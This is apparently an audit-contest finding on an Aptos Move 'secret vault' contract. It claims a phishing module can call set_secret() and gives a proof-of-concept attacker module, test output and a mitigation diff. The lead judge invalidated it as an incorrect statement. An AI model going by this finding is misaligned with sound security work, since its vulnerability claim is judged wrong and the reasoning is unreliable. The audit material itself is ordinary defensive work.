Secret Vault on Aptos

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Impact: high
Likelihood: low
Invalid

Any module can phish set_secret() with a password set by the attacker

set_secret() is marked as public + any module can phish set_secret() with a password set by the attacker

Description

  • A malicious module should not be able to call set_secret().

  • A malicous module can phish the owner to submit a transaction and call set_secret() with any password set by the attacker.

@> public entry fun set_secret(caller:&signer,secret:vector<u8>){
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}

Risk

Likelihood:

  • A malicous module tricks the owner to submit a transaction to one of their module functions. The malicous module then calls set_secret() with any password desired that is set by the attacker.

Impact:

  • A malicious module is able to set the secret vault password of the owner.

Proof of Concept

module secret_vault::attacker{
use std::signer;
use std::string::{Self};
use secret_vault::vault;
const SECRET_SET_BY_ATTACKER: vector<u8> = b"secret set by attacker";
entry fun bait_function_attack(caller: &signer) {
let secret = SECRET_SET_BY_ATTACKER;
vault::set_secret(caller, secret);
}
#[test(owner = @0xcc)]
// exploit
fun test_bait_function_attack(owner: &signer) {
use aptos_framework::account;
let owner_address = signer::address_of(owner);
// Set up test environment
account::create_account_for_test(owner_address);
bait_function_attack(owner);
let secret = vault::get_secret(owner_address);
assert!(secret == string::utf8(SECRET_SET_BY_ATTACKER), 4);
}
}

Run with

aptos move test --filter test_bait_function_attack

Output

INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ PASS ] 0x234::attacker::test_bait_function_attack
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

Only allow friend functions to be able to call set_secret() .

- public entry fun set_secret(caller:&signer,secret:vector<u8>){
+ public(friend) entry fun set_secret(caller:&signer,secret:vector<u8>){
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
Updates

Lead Judging Commences

bube Lead Judge 18 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.